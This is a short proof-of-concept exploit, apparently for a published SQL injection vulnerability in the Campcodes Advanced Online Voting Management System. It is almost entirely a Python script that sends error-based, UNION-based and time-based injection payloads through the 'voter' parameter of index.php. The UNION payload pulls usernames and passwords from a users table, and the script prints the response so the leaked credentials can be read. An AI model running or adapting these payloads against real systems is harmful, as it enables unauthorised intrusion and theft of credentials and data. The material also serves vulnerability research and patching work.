CVE-2025-11409：Campcodes在线投票管理系统SQL注入漏洞

# CVE-2025-11409 PoC - SQL Injection in Campcodes Advanced Online Voting Management System # Vulnerable file: /index.php # Vulnerable parameter: voter import requests TARGET_URL = "http://target-site.com/index.php" # Step 1: Authenticate as a low-privilege user (or use guest access if available) session = requests.Session() # Step 2: Inject malicious SQL payload via the 'voter' parameter # Example 1: Error-based SQL injection to confirm vulnerability payload_error = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" # Example 2: UNION-based SQL injection to extract data payload_union = "1' UNION SELECT 1,username,password,4,5 FROM users-- -" # Example 3: Time-based blind SQL injection payload_time = "1' AND SLEEP(5)-- -" # Step 3: Send the malicious request params = { "voter": payload_union } response = session.post(TARGET_URL, data=params) print("Status Code:", response.status_code) print("Response Body:", response.text) # Step 4: Extract sensitive information from the response # Look for leaked credentials, database names, or other sensitive data in the HTML response